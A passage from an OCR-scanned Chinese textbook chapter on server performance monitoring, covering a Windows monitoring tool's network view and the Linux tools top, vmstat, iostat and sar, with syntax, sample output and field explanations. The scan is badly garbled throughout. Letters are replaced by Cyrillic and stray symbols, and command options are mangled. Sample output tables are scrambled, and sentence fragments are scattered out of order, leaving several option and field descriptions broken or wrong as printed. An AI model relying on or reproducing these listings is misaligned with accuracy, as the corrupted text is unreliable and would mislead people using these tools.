i "Network" 工具 栏 中 的 “Disks” 按 钮 ， 可 以 监控 并 查看 服务 器 的 网 络 状况 ， 如 图 9-21 所 示 。 在 “Network” 功 能 项 下 可 以 看 到 1 小 时 之 内 服务 器 发 送 、 接 收 包 的 情况 ， 以 及 进出 数据 包 的 传输 速度 。 还 
有 一 项 非常 重要 ， 就 是 Errors and Retries ( 即 错误 包 的 情况 ) ， 性 能 测试 人 员 可 以 通过 对 错误 包 的 监控 来 判断 服务 器 网 络 的 健康 状况 。TCP/IP 功 能 项 是 从 协议 的 角度 监控 服务 器 网 络 ， 包 括 TCP、IP、UDP 
等 。 对 于 Web 服 务 器 ， 主 要 看 TCP 情 况 ， 如 果 服 务 器 受到 攻击 ,使 用 DDOS 工 具 可 以 查看 UDP 数 据 的 情况 。 另 外 一 个 有 用 的 功能 项 是 Share， 它 可 以 监控 并 查看 服务 器 中 的 共享 情况 ， 在 通常 情况 下 ， 管 理 
员 通 过 该 功能 对 服务 器 进行 安全 性 检测 ， 以 判断 是 否 被 入 侵 。 


7) Activity Summary: 活跃 的 系统 监控 总 览 ， 该 监控 页 面 能 实时 地 监控 系统 活跃 的 线程 、 线 程 队列 长 度 、 内 存 使 用 情况 、 磁 盘 队 列 长 度 、 磁 盘 页 交换 以 及 网 络 使 用 情况 ， 如 图 9-22 所 示 。 通 过 该 页 面 
可 以 方便 性 能 测试 工程 师 从 全 局 对 操作 系统 进行 性 能 监控 和 诊断 分 析 。 
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9.5.2 ”Linux 监 控 工 具 选 择 以 及 监控 详解 


因为 现在 很 多 公司 的 环境 都 搭建 在 Linux 操 作 系 统 下 ， 所 以 Linux 是 性 能 测试 中 监控 的 重点 。Linux 下 监控 工具 非常 多 ， 如 top、vmstat、iostat、sar、strace、nmon、Spotlight on Linux 等 。 在 实时 监 
控 的 时 候 ， 用 top、vmstat、iostat、sar 监 控 即 可 ， 如 果 是 为 了 观察 方便 、 直 接 ， 以 及 实现 性 能 测试 报告 快速 出 图 ， 可 以 用 nmon、Spotlight on Linux 进 行 监控 。 


1.top 


top 命 令 能 够 实时 监控 系统 的 运行 状态 ， 可 以 按照 CCU、 内存 和 执行 时 间 排 序 ， 还 可 以 通过 交互 式 命令 设 定 显示 。top 命 令 的 输出 如 图 9-23 所 示 。 


up P T days, fi s ad. | user, loa (| ДҮ] аре. (|, (30, 11. (10), LJ. Qt 


416 total, | running, 115 sleeping, 0 stopped, 上 zombie 

0, Ои, 0,0% у, 0, О%пї, 100, O*i1d, 0, Охта,  O.O0*hi, 0.0%si, 0,05 
49414196k total, 15693104k used, 1372108Zk free, 509960k huffers 
SSDUUE total, 2928 used,  83853058k 292996685 cached 


PID USER PR NI VIRT RES SHR S %CPU XMEM TIME- COMMAND 
: Э ) 11156 1308 776 R 0.3 0.0 0:04.15 top 
root o. Ü 10264 676 27253 0,0 0.0 035.79 init 
root KI —3 j j Js 0.0 0.0 0.17.51 migration/Ü 
root J: | j d 05 0,0 0.0 0:04, 46 ksoftirqd/O 
root di = d { 05 0.0 0.0 0:00.00 watehdog/Ü 
root | | |] d )5 0.0 00 10:12. 50 mieration/] 


pia id 0 0 05 00 00 0:05.63 ksoftirad/1 
root Т 5 | П Ha LO ut 0:00. 00 watchdo g/ ] 
root d EE š E 05 DO 10 0510, 67 BT Ay 
root at j i ! J5 0.0 00 0:01.08 ksoftirdad/2 
rool Й { )5 0,0 0,0 0:00.00 watchdog/2 
root : J |) Я 08 0,0 00 0:13.82 migration/ 3 


图 9-23 ”top 监 控 


FII 介绍 top 命 令 的 语法 。 


top -hv | -bcisSHM -d delay -n iteratI/Ons [-u user | -U user] -p pid [, pid http://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/ 


各 个 选项 以 及 参数 的 含义 如 下 。 

--b: 批 次 模式 运行 。 通 常用 来 将 top 的 输出 结果 传送 给 其 他 程式 或 储存 成 文件 。 
. -c: 显示 执行 任务 的 命令 行 。 

(-d: 设 定 延迟 时 间 。 

` -h: 帮助 。 

Н: 显示 线程 。 当 这 个 设 定 开 局 时 ， 将 显示 所 有 进程 产生 的 线程 。 

ed] 显示 空闲 的 进程 。 

(nl 执行 次 数 ， 一 般 与 -b 搭 配 使 用 。 

(ul 监控 指定 用 户 相关 进程 。 

D-UI 监控 指定 用 户 相关 进程 。 

op: 监控 指定 的 进程 。 当 监控 多 个 进程 时 ， 进 程 D 以 过 号 分 隔 。 这 个 选项 只 能 在 命令 行 下 使 用 。 
(l1 安全 模式 操作 。 

` S: 累计 时 间 模 式 。 

ovi 显示 top 版 本 ， 然 后 退出 。 

--M: 自动 显示 内 存单 位 。 

top 命 令 除 了 以 上 这 些 参数 外 ， 还 有 很 多 交互 命令 ， 这 些 交 互 命令 就 是 在 top 命 令 执 行 过 程 中 使 用 的 一 些 命 令 ， 具 体 如 下 。 
(1) 全 局 命令 

-BE ZK: 刷新 显示 信息 。 

0? 、h: 帮助 。 

<=: 移 除 所 有 任务 显示 的 限制 。 

А: 交替 显示 模式 切换 。 


В: 粗 体 显 示 切 换 。 


= 


s: 更 改 界面 刷新 时 间 间 隔 。 


O 


: 选择 其 他 窗口 / 栏 位 组 。 


І: 


* us 


К: 


“7: 


(2) 


Itix 或 Solatis 模 式 切 换 。 


U: 监控 指定 用 户 相关 进程 。 


重新 设 定 进程 的 nice 值 。 


: 存储 当前 设 定 。 


ARZ ERA 


摘要 区 命令 


“1 (小 写 的 英文 字母 L) : 平均 负载 及 系统 运行 时 间 显 示 开 关 。 


т: 


“二 


内 存 及 交换 空间 使 用 率 显 示 开 关 。 


当前 任务 及 CPU 状态 显示 开关 。 


1 (数字 1) : 汇总 显示 CPU 状态 或 分 开 显 示 每 个 CPU 状态 。 


(3) 


任务 区 命令 


1) 外 观 样 式 。 


: 任务 执行 的 命令 行 或 进程 名 称 。 


` o: 增加 和 移 除 进 程 信息 栏 位 及 调整 进程 信息 栏 位 显 


显示 线程 。 


: 时 间 累 计 模 式 。 


: 监控 指定 用 户 相关 进程 。 


3) 任务 显示 的 数量 。 


16 


显示 空闲 的 进程 。 


` n: 设置 任务 显示 最 大 数量 。 


4) 任务 排序 ( 按 Shift+F 组 合 键 ) 。 


М: 


№: 


按 内 存 使 用 率 排 序 。 


按 PID 排 序 。 


: 按 CPU 使 用 率 排 序 。 


: d£ lime ЕД o 


: 按 当前 排序 栏 位 左边 相 邻 栏 位 排序 。 


: 按 当前 排序 栏 位 右边 相 邻 栏 位 排序 。 


FRO: 选择 排序 栏 位 。 


К: 


反 向 排序 。 


top 命 令 具 体 统计 信息 解释 如 下 。 


top 命 令 输出 的 第 一 行 是 任务 队列 信息 ， 同 uptime 命 令 的 执行 结果 ， 依 次 表示 的 信息 是 : 当前 时 间 、 系 统 运 


sleeping: 睡眠 的 进程 数 。 


stopped: 停止 的 进程 数 。 


: zombie: 僵尸 进程 数 。 


: 黑体 / 反 色 显示 高 亮 的 行 / 列 。 控 制 x 和 y 交 互 命令 的 显示 样式 。 


示 顺 序 。 


4— 


1T 


时 间 、 当 前 登录 用 户 数 、 过 去 1 分 钟 /5 分 钟 /15 分 钟 系统 的 平均 负载 。 


: %из: 用 户 态 占 用 CPU 百分比 。 


. %sy: 系统 态 占用 CPU 百分比 。 


пі: 用 户 进程 空间 内 改变 过 优先 级 的 进程 占用 CPU 百分比 。 


| Jod: 空闲 CPU 百分比 。 


| %wa: 等 待 输入 输出 的 CPU 时 间 百 分 比 。 


. hi: 硬件 中 断 所 占 CPU 百 分 比 。 


 %si: 软件 中 断 所 占 CPU 百 分 比 。 


: Mem: 物理 内 存 总 量 。 


- used: 物理 内 存 使 用 量 。 


бее: 剩余 物理 内 存 总 量 。 


- buffers: 缓存 区 的 内 存 总 量 。 


. Swap: 交换 区 总 量 。 


- used: 交换 区 已 使 用 内 存 总 量 。 


бее: 交换 区 剩余 总 量 。 


* cached: 交换 区 缓冲 区 内 存 总 量 。 


统计 信息 区 域 下 方 显示 了 各 个 进程 的 详细 信息 ， 有 具体 解释 如 下 。 


: PID: 进程 ID。 


- PPID: 父 进程 ID。 


: RUSER: Real uset name; 


. UID: 进程 所 有 者 的 用 户 ID。 


- USER: 进程 所 有 者 的 用 户 名 。 


: GROUP: 进程 所 有 者 的 组 名 。 


ТТҮ: 启动 进程 的 终端 名 。 不 是 从 终端 启动 的 进程 ， 则 显示 为 ? o 


РК: 优先 级 。 


МИ: nice 值 。 负 值 表示 高 优先 级 ， 正 值 表 示 低 优先 级 。 


“Р: 最 后 使 用 的 CPU， 仅 在 多 CPU 环境 下 有 意义 。 


СРО: 从 上 次 更 新 到 现在 的 CPU 时 间 占 用 百分比 。 


- TIME: 进程 使 用 的 CPU 时 间 总 计 ， 单 位 为 s。 


- TIME+: 进程 使 用 的 CPU 时 间 总 计 ， 单 位 为 1/100s。 


` %МЕМ: 进程 使 用 的 物理 内 存 百 分 比 。 


: VIRT: 进程 使 用 的 虚拟 内 存 总 量 ， 单 位 为 KB。VIRI=SWAP+RES。 


` SWAP: 进程 使 用 的 虚拟 内 存 中 ， 被 换 出 的 大 小 ， 单 位 为 KB。 


- RES: 进程 使 用 的 、 未 被 换 出 的 物理 内 存 大 小 ， 单 位 为 KB。RES=CODE+DATA。 


: CODE: 可 执行 代码 占用 的 物理 内 存 大 小 ， 单 位 为 KB。 


DATA: 可 执行 代码 以 外 的 部 分 (数据 段 + 栈 ) 占用 的 物理 内 存 大 小 ， 单 位 为 KB。 


-SHR: 共享 内 存 大 小 ， 单 位 为 KB。 


: nFLT: 页 面 错 误 次 数 。 


` nDRT: 最 后 一 次 写 入 到 现在 ， 被 修改 过 的 页 面 数 。 


5: 进程 状态 。D 表 示 不 可 中 断 的 睡眠 状态 ，R 表 示 运 行 状 


- COMMAND: 命令 名 /命令 行 。 


WCHAN: 若 该 进程 在 睡眠 ， 则 显示 睡眠 中 的 系统 荡 数 名 。 


: Flags: 任务 标志 ， 参 考 sched.h。 


在 默认 情况 下 ， 仅 显示 比较 重要 的 PID、USER、PR、NI、VIRT、RES、SHR、S、%CPU、%MEM、TIME+、COMMAND 列 。 


S 表 示 睡 眠 状态 ， 工 表示 跟踪 /停止 状态 ， 乙 表示 僵尸 进程 。 


可 以 通过 下 面 的 快捷 键 来 更 改 显 示 内 容 。 


过 {f 键 可 以 选择 的 内 容 : 按 { 键 之 后 会 显示 列 的 列表 ， 按 a~z 键 即 可 显示 或 隐藏 对 应 的 列 ， 最 后 按 回 车 键 确定 。 


: 按 o 键 可 以 改变 列 的 显示 顺序 : 按 小 写 的 a~z 键 可 以 将 相应 的 列 向 右 移 动 ， 而 按 大 写 的 A~Z 键 可 以 将 相应 的 列 向 左 移动 。 最 后 按 回 车 键 确定 。 


* 按 大 写 的 F 或 0 键 ， 然 后 按 a~z 键 可 以 将 进程 按照 相应 的 列 排序 。 而 按 大 写 的 R 键 可 以 将 当前 的 排序 倒转 
过 top 命 令 可 以 从 宏观 上 观察 各 个 进程 对 CPU 的 占用 情况 以 及 内 存 使 用 情况 。 


2.vmstat 


vmstat 是 一 款 功能 比较 齐全 的 性 能 监测 工具 ， 它 是 Virtual Memory Statistics (虚拟 内 存 统计 ) 的 缩写 ， 很 多 Linux 版 本 都 默认 安装 了 该 命令 


磁盘 等 信息 进行 监控 ， 不 足 之 处 是 ， 无 法 对 某 个 进程 进行 深入 分 析 。vmstat 基 本 用 法 如 下 : 


procs --------——- memory---------- --- Swap-- —----- /0O---- -System-- ---- cpu---- 
r b зира free buff cache si SO bi bo іп сз us sy id wa 
1 0 0 3499840 315836 3819660 0 0 0 1 2 0.00100 0 
0 0 0 3499584 315836 3819660 0 0 0 0 88 158 0 0100 O0 
0 0 0 3499708 315836 3819660 0 0 0 2 86 162 0 0100 0 
0 0 0 3499708 315836 3819660 0 0 0 10 81 151 0 0100 0 
1. 0 0 3499732 315836 3819660 0 0 0 2 83 154 0 0100 O0 


(1) vmstat 命 令 
vmstat 命 令 的 用 法 如 下 : 


vmstat [-a] [-n] [-S unit] [delay [ count]] 


tal 显示 活跃 和 非 活跃 内 存 。 
. -m: 显示 slabinfo。 
只 在 开始 时 显示 一 次 各 字段 名 称 。 
0-1 显示 内 存 相关 统计 信息 及 多 种 系统 活动 数量 。 
- delay: 刷新 时 间 间 隔 。 如 果 不 指 定 ， 则 只 显示 一 条 结果 。 
: count: 刷新 次 数 。 如 果 不 指定 刷新 次 数 ， 但 指定 了 刷新 时 间 间 隔 ， 则 刷新 次 数 为 无 穷 。 
е: S 3k ЖЕЛЕ X AHE Se 
 -S: 使 用 指定 单位 显示 。 参 数 有 k、K、m、M， 分 别 代表 1000、1024、1000000、1048576 字 节 (byte) 
У: 显示 vmstat 版 本 信息 。 
р: 显示 指定 磁盘 分 区 统计 信息 
ODD: 显示 磁盘 总 体 信 息 。 
(2) vmstat 输 出 字段 
vmstat 输 出 字段 说明 如 下 。 


1) procs 区 域 。 


。 默 认 单 位 为 K (1024bytes) 。 


* RR 列表 示 运 行 和 等 待 CPU 时 间 片 的 进程 数 ， 这 个 值 如 果 长 期 大 于 系统 CPU 个 数 ， 则 说 明 CPU 不 足 ， 需 要 增加 CPU。 


C B 列 表示 在 等 待 资源 的 进程 数 ， 如 正在 等 待 [/ 〇 或 者 内 存 交换 等 


2) memory 区 域 。 


© swpd 列 表示 切换 到 内 存 交 换 区 的 内 存 大 小 (单位 为 KB) ， 通 俗 讲 就 是 虚拟 内 存 的 大 小 。 如 果 swap 值 不 为 0 或 者 比较 大 ， 则 只 要 si 


:ftee 列 表示 当前 空闲 的 物理 内 存 (单位 为 KB) o 


- Buff 列 表示 baffers cached 内 存 大 小 ， 也 就 是 缓冲 大 小 ， 一 般 对 块 设备 的 读 写 才 需 要 缓冲 。 


.Cache 列表 示 Page cached 的 内 存 大 小 ， 也 就 是 缓存 大 小 ， 一 般 作 为 文件 系统 进行 缓冲 ， 频 繁 访问 的 文件 都 会 被 缓存 ， 如 果 cache 值 非常 


件 系 统 效率 较 高 。 
3) swap 区 域 。 
“ Si 列表 示 由 磁盘 调 入 内 存 ， 也 就 是 由 内 存 进入 内 存 交换 区 的 内 存 大 小 。 
` so 列表 示 由 内 存 进入 磁盘 ， 也 就 是 由 内 存 交 换 区 进入 内 存 的 内 存 大 小 。 
在 一 般 情况 下 ，si、so 的 值 都 为 0， 如 果 si、so 的 值 长 期 不 为 0， 则 说 明 系 统 内 存 不 足 ， 增加 系统 内 存 。 
4) ОБ, 
“bi 列表 示 由 块 设备 读 入 数据 的 总 量 ， 即 读 磁盘 ， 单 位 为 kbit/s。 


: bo 列表 示 写 到 块 设备 数据 的 总 量 ， 即 写 磁盘 ， 单 位 为 kbit/s。 


工具 


so 的 值 长 期 为 0， 


， 可 以 对 操作 系统 的 内 存 信息 、i 


就 属于 正常 情况 。 


进程 状态 、CPU 活 动 、 


大 ， 则 说 明 缓 存 文 件 比较 多 ， 如 果 此 时 I/O 中 的 bi 比较 小 ， 说 明文 


如 果 bi+bo 值 过 大 ， 且 cpu 区 域 wa 值 较 大 ， 则 表示 系统 磁盘 I/O 瓶 贷 ， 应 该 提高 磁盘 的 读 写 性 能 ， 或 者 减少 应 用 程序 不 必要 的 磁盘 读 写 。 
5) system 区 域 。 
.in 列表 示 某 一 时 间 间 隔 内 观测 到 的 每 秒 设 备 中 断 数 。 
:cs 列表 示 每 秒 产生 的 上 下 文 切换 次 数 。 
这 两 个 值 越 大 ， 由 内 核 消耗 的 CPU 就 越 多 。 
6) cpu 区 域 。 
.us 列表 示 用 户 进程 消耗 的 CPU 时 间 百 分 比 ，us 值 越 高 ， 用 户 进程 消耗 CPU 的 时 间 越 多 ， 如 果 长 期 大 于 50%， 则 需要 考虑 优化 程序 或 算法 。 


“ Sy 列 表示 系统 内 核 进程 消耗 的 CPU 时 间 百 分 比 ， 如 果 该 值 比 较 大 ， 说 明 内 核 消耗 的 CPU 资源 较 多 ， 可 能 存在 较 大 的 上 下 文 切换 以 及 磁 姐 LI/O 等 待 情况 。 一 般 来 说 ，us+sy 应 该 小 于 80%， 如 果 大 于 80%， 
则 说 明 可 能 存在 CPU 瓶颈 。 


: id 列表 示 CPU 处 在 空闲 状态 的 时 间 百 分 比 


.wa 列表 示 IP 等 待 所 占 的 CPU 时 间 百 分 比 ，wa 值 越 高 ，I/O 等 待 越 严 重 ， 根 据 经 验 ， 一 般 wa 的 参考 值 为 20%， 如 果 超 过 20%， 则 说 明 I/O 等 待 严重 。I/O 等 待 可 能 是 磁盘 大 量 随机 读 写 造 成 的 ， 也 可 能 是 
磁盘 或 者 磁盘 控制 器 的 带宽 瓶颈 〈 主 要 是 块 操作 ) 造成 的 。 


综 上 所 述 ， 如 果 评 佑 CPU， 就 需要 重点 关注 procs 项 的 r 列 值 和 CPU 项 的 us、sy、wa 列 的 值 。 对 于 MO 活动 密集 的 应 用 ， 可 以 通过 监视 bi 和 bo 来 获取 传输 速率 ， 监 视 in 来 获取 中 断 情况 ， 可 以 通过 监视 
swpd、si 和 so 来 监视 系统 的 交换 活动 ， 如 果 发 生 交换 ， 则 可 以 检查 交换 速率 


如 果 使 用 vmstat 命 令 监 控 到 系统 在 一 定时 间 内 用 户 态 的 CPU 占 比 将 近 100%， 就 需要 用 其 他 工具 ， 如 top 或 者 ps 命令 来 发 现 哪个 进程 ， 甚 至 哪个 线程 占用 着 CPU 的 时 间 ， 从 而 定位 到 问题 原因 ; 如 果 通 过 
vmstat 命 令 查 看 到 的 是 系统 态 CPU 占 用 了 大 部 分 的 CPU 时 间 片 ， 那 么 可 以 试用 strace 命 令 来 对 系统 内 核 的 调用 情况 进行 跟踪 ， 通 过 内 核 的 活动 情况 确定 问题 的 原因 ; 如 果 通 过 vmstat 命 令 监控 到 系统 大 部 分 
时 间 在 等 待 |/O 操 作 ， 则 可 以 通过 sat 命 令 来 查看 正在 使 用 中 的 设备 ， 并 可 能 提供 一 些 诸如 哪些 文件 系统 或 者 应 用 在 使 用 中 、 系 统 是 否 正在 执行 交换 或 者 页 面 调度 等 信息 。 


3.iostat 


іоѕїа 1/0 statistics Lo 的 缩写 ， 主 要 是 对 系统 的 磁盘 |/O 操 作 进 行 监控 ， 它 的 输出 主要 显示 磁盘 读 写 操作 的 统计 信息 ， 同 时 给 出 CPU 的 使 用 情况 。 同 vmstat 一 样 ，iostat 不 能 对 某 
进程 进行 深入 分 析 ， 仅 对 操作 系统 的 整体 情况 进行 分 析 。 


iostat 在 早 一 些 的 Linux 系 统 版 本 上 不 会 随 系 统 安装 ， 要 使 用 iostat 工 具 ， 需 要 在 系统 上 安装 一 个 Sysstat 的 工具 包 ， 安 装 后 系统 会 多 出 3 个 命令 : iostat、sar、mpstat。iostat 常 见 用 法 如 下 。 


[root@~]# iostat 


Linux 2.6.18-308.24.1.e15 (djt 141 44) 2014*5E07H 16H 
avg-cpu: | $user $nice _ $system %I/Owait $steal  %idle 

0.22 0.00 0.12 0.00 0.00 99.67 
Device: tps Blk | read/s к: Blk read Blk wrtn 
sda 3.83 1.26 151.18 71120107 926847619 
sda 0.00 0.00 0.00 26444 42 
sda2 3.83 1.25 151.18 7693295 926847577 
sdb 0.29 ©] 4.09 31352519 699445308 
sdb1 0.29 e 11 4.09 31351855 699445308 
dm-0 2.99 0.18 23.80 1090386 145903496 
dm-1 3.18 0.58 25.12 3577586 154004688 
dm-2 3.66 0.17 29.16 1048994 178800016 
dm-3 0.34 0.32 73.10 1974616 448138601 
dm-4 0.00 0.00 0.00 1312 776 
iostat 命 令 行 的 语法 如 下 。 
iostat [ -c | -d] [ -k | m] [-t] [-V] [ -x ] [ device [ http://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/... 


[ -p [ device | ALL ] ] [ interval [ count ] ] 


各 选项 以 及 参数 含义 如 下 。 

сс: 仅 显 示 在 采样 时 间 内 的 CPU 统计 信息 ， 与 -d 选 项 互 斥 。 

а: 仅 显 示 在 采样 时 间 内 的 磁盘 统计 信息 ， 与 -c 选 项 互 斥 。 

Кі 以 区 为 单位 显示 在 采样 时 间 内 每 秒 的 磁盘 请 求 数 ， 默 认 单位 为 块 。 
р: device|ALL， 与 -x 选 项 互 斥 ， 用 于 显示 块 设 备 及 系统 分 区 在 采样 时 间 内 的 统计 信息 ， 也 可 以 在 -p 后 指定 一 个 设备 名 。 
' -t; 在 输出 数据 时 ， 打 印 统计 信息 开始 执行 的 时 间 。 

У: 打印 版 本 号 和 帮助 信息 。 

` -x device: 输出 指定 要 统计 的 磁盘 设备 名 称 ， 默 认为 所 有 磁盘 设备 。 

: interval: 指 两 次 统计 间隔 时 间 ， 可 选 参数 。 

:-count: 按照 interval 指 定 的 时 间 间 隔 统计 的 次 数 ， 可 选 参数 。 

下 面 举例 说 明 iostat 的 常用 用 法 。 


(1) 用 iostat 命 令 监 控 磁 盘 块 


[root@~]# iostat -x 
Linux 2.6.18-308.24.1.e15 (djt 141 44) 20145E07 H 16H 


avg-cpu: $user $nice $system %iowait  $steal $idle 
0.22 0.00 0.12 0.00 0.00 99.67 

Device: rrqm/s wrqm/s r/s w/s rsec/s wsec/s avgrq-sz avgqu-sz await svctm $util 
sda 0:03 6.31 0.04 3.78 .26 151.18 39.83 0.00 0.51 0.08 0.03 
sda 0.00 0.00 0.00 0.00 0.00 0.00 59579 0.00 1.62 1.15 0.00 
sda2 0.03 6.31 0.04 3.78 .25 151.18 39.83 0.00 0.51 0.08 0.03 
sdb 0.00 0.01 0.05 0.24 5.11 114.08 406.34 0.00 12.77 0.29 0.01 
sdb1 0.00 0.01 0.05 0.24 5.11 114.08 406.35 0.00 12.77 0.29 0.01 
dm-0 0.00 0.00 0.02 2.97 0.18 23.80 8.02 0.00 1.08 0.14 0.04 
dm-1 0.00 0.00 0.04 3.14 0.58 25.12 8.09 0.00 0.33 0.11 0.03 


dm-2 0.00 0.00 0.01 3.65 0.17 29.17 8.02 0.00 0.21 0.23 0.09 


dm-3 0.00 0.00 0.00 0.34 0,892. 73,09 215,36 0.00 2.45 0.21 0.01 
dm-4 0.00 0.00 0.00 0.00 0.00 0.00 8.00 0.00 1.78 0.44 0.00 
输出 字段 解释 如 下 。 


.ttdm/s: 每 秒 进行 mefge 的 读 操作 数目 ， 即 delta (rmerge) /s。 

. wrqm/s: 每 秒 进行 merge 的 写 操作 数目 ， 即 delta (wmerge) /s。 

1/61 每 秒 完成 的 读 I/O 设 备 次 数 ， 即 delta (rI/O) /so 

w/s: 每 秒 完成 的 写 I/O 设 备 次 数 ， 即 delta (wI/O) /so 

.fsec/s: 每 秒 读 扇 区 数 ， 即 delta (rsect) /s. 

< wsec/s: 每 秒 写 扇 区 数 ， 即 delta (wsect) /s. 

- rkb/s: 每 秒 读 区 字 节 数 ， 是 fsect/s 的 一 半 ， 因 为 每 肩 区 的 大 小 为 512 字 节 。 

| wkb/s: 每 秒 写 多 字 节 数 ， 是 wsect/s 的 一 半 。 

- avgrq-sz: 平均 每 次 设备 IO 操作 的 数据 大 小 〈 扇 区) ， 即 delta (tsecttwsect) /delta (rI/O+w1/O) 。 
.avpgqu-sz: 平均 IO 队列 长 度 ， 即 delta (aveq) /s/1000 (因为 aveq 的 单位 为 ms) 。 

` await: 平均 每 次 设备 I/O 操 作 的 等 待 时 间 (ms) ， 即 delta (tuse+wuse) /delta (r[/O+w1/O) 。 

` svctm: 平均 每 次 设备 LI/O 操 作 的 服务 时 间 (ms) ， 即 delta (use) /delta (П1/О+у1/О) à- 

Фа: 一 秒 中 有 百 分 之 多 少 的 时 间 用 于 I/O 〇 操作 ， 或 者 说 一 秒 中 有 多 少时 间 I/O 〇 队列 是 非 室 的 ， 即 delta (use) /s/1000 (因为 use 的 单位 为 ms) o 


(2) 用 iostat 命 令 监 控 CPU 


[root@~]# iostat -c 2 2 


Linux 2.6.18-308.24.1.e15 (djt 141 44) 2014 年 07 月 16 日 

avg-cpu: $user $nice $system $I/Owait %steal $idle 
0.22 0.00 Qu T2 0.00 0.00 99.67 

avg-cpu: $user $nice $system $I/Owait %steal $idle 
0.00 0.00 0.00 0.00 0.00 100.00 


输出 字段 解释 如 下 : 
` usr: 用 户 进程 消耗 CPU 的 时 间 百 分 
 onice: 运行 正常 进程 消耗 CPU 的 时 间 百 分 比 
' system: 系统 进程 消耗 CPU 的 时 间 百 分 
: Voowait: I/O 等 待 所 占 CPU 的 时 间 百 分 比 
: Vosteal: 在 内 存 紧 张 环 境 下 ，pagein 强 制 对 不 同 页 面 进行 的 steal 操 作 。 
: Veidle: CPU 空闲 状态 的 时 间 百 分 比 
4.sar 
sar 是 非常 强大 的 性 能 分 析 命 令 ， 是 分 析 系 统 性 能 的 重要 工具 之 一 。 通 过 sar 命 令 可 以 全 面 获 取 系 统 的 CPU、 运 行 队列 、 磁 盘 VO、 交 换 区 、 内 存 、CPU 中 断 、 网 络 等 性 能 数据 。 


(1) sat 命 令 行 的 常用 格式 


sar [options] [-A] [-o file] t [п] 


在 命令 行 中 : n 和 t 两 个 参数 组 合 起 来 定义 采样 间隔 和 次 数 ，t 为 采样 间隔 ， 是 必须 有 的 参数 ，n 为 采样 次 数 ， 是 可 选 的 ， 默 认 值 是 1。-o file 表 示 将 命令 结果 以 二 进 制 格 式 存放 在 文件 中 。file 在 此 处 不 是 
关键 字 ， 是 文件 名 。 


options 为 命令 行 选项 ，sar 命 令 的 选项 很 多 ， 下 面 只 列 出 常用 选项 。 


tp: 显示 当前 系统 中 指定 CPU 的 使 用 信息 。 
А: 显示 系统 所 有 设备 (CPU. Юй, AA) 的 运行 情况 。 
tcul 显示 系统 所 有 CPU 在 采用 时 间 内 的 负载 情况 。 


(wi 显示 进程 、 节 点 、 文 件 和 锁 表 状 态 
4: 显示 系统 所 有 磁盘 在 采用 时 间 内 的 使 用 情况 。 
-t 显示 系统 内 存在 采用 时 间 内 的 使 用 情况 。 


. -n: 显示 网 络 运行 状态 。 参 数 后 面 可 跟 DEV、EDEV、SOCK 和 FULL。DEV 显 示 网 络 接 口 信息 ，EDEV 显 示 网 络 错误 的 统计 数据 ，SOCK 显 示 套 接 字 信息 ，FULIL 则 显示 DEV、EDEV、SOCK 的 所 有 信 


. -q: 显示 运行 队列 的 大 小 ， 它 与 系统 当时 的 平均 负载 相同 。 


(BB: 显示 内 存 分 页 在 采样 时 间 内 的 使 用 情况 。 


' -R: 显示 进程 在 采样 时 间 内 的 活动 情况 。 


' -g: 显示 串口 [/O 〇 在 采样 时 间 内 的 使 用 情况 。 


. -b: 显示 缓冲 区 在 采样 时 间 内 的 使 用 情况 。 
-a: 显示 系统 文件 读 写 在 采样 时 间 内 的 使 用 情况 。 
0-с: 显示 系统 调用 情况 。 


К: 显示 进程 在 采样 时 间 内 的 活动 情况 。 


y: ETZ 备 在 采样 时 间 内 的 活动 情况 。 
W: 显示 系统 交换 活动 在 采样 时 间 内 的 状态 。 
: -0 filename: 表示 将 结果 以 二 进 制 格式 存放 在 文件 中 ，filename 是 文件 名 。 


' interval: 表示 采样 间隔 时 间 ， 是 必须 有 的 参数 。 

· Count: 表示 采样 次 数 ， 是 可 选 和 参数， 默认 值 为 1。 
(2) sar 的 常见 用 法 
下 面 举例 说 明 sar 的 常见 用 法 。 


1) sar 监 控 CPU。 


Linux 2.6.18-308.24.1.e15 (djt 141 44) 2014*5E07H 16H 

00 时 00 分 01 秘 CPU $user $nice  %system  $iowait $steal $idle 
00 时 10 分 01 秒 all 0.04 0.00 0.04 0.00 0.00 99.92 
00 时 20 分 01 秒 all 0.10 0.00 0.04 0.00 0.00 99.85 
00 时 30 分 01 秒 all 0.04 0.00 0.04 0.00 0.00 99.92 
00 时 40 分 01 秒 all 0.05 0.00 0.04 0.00 0.00 99,91. 
00 时 50 分 01 和 和 all 0.03 0.00 0.04 0.00 0.00 99.93 
输出 字段 解释 如 下 。 


: usr: 用 户 进程 消耗 CPU 的 时 间 百 分 

nice: 运行 正常 进程 消耗 CPU 的 时 间 百 分 比 。 

' %system: 系统 进程 消耗 CPU 的 时 间 百 分 

: %iowait: I/O 〇 等 待 所 占 CPU 的 时 间 百 分 比 

: %steal: 在 内 存 紧 张 环境 下 ，pagein 强 制 对 不 同 页 面 进行 的 steal 操 作 。 


: %idle: CPU 空闲 状态 的 时 间 百 分 比 


在 所 有 显示 中 ， 应 主要 注意 %iowait 和 %idle，%iowait 的 值 过 高 ， 表 示 硬 盘存 在 I/O 泪 马 ，%idle 值 高 ， 表 示 CPU 较 空 册 ， 如 果 %idle 值 高 ， 但 系统 响应 慢 ， 则 有 可 能 是 CP 
内 存 容 量 。%idle 值 如 果 持 续 低 于 10， 那 么 系统 的 CPU 处 理 能 力 相 对 较 低 ， 表 明 系 统 中 最 需要 解决 的 资源 瓶颈 是 CPU。 


2) sar 监 控 inode、 文 件 和 其 他 内 核 表 。 


[root@~]# sar -v 3 5 

14392737 dentunusd file-sz inode-sz super-sz $super-sz dquot-sz $dquot-sz rtsig-sz $rtsig-sz 
14] 394) A0 fh 178887 3570 88666 0 0.00 0 0.00 

14] 394; 43% 178887 3570 88666 0 0.00 0 0.00 

14 时 39 分 46 秒 178888 3570 88667 0 0.00 0 0.00 

14 时 39 分 49 秒 178888 3570 88667 0 0.00 0 0.00 

14 时 39 分 52 秒 178888 3570 88667 0 0.00 0 0.00 

Average: 178888 3570 88667 0 0.00 0 0.00 

输出 字段 解释 如 下 。 


. inode-sz: 目前 核心 中 正在 使 用 或 分 配 的 节点 表 的 表 项 数 ， 由 核心 参数 MAX-INODE 控 制 。 
: file-sz: 目前 核心 中 正在 使 用 或 分 配 的 文件 表 的 表 项 数 ， 由 核心 参数 MAX-FILE 控 制 。 

` super-sz: 溢出 出 现 的 次 数 。 

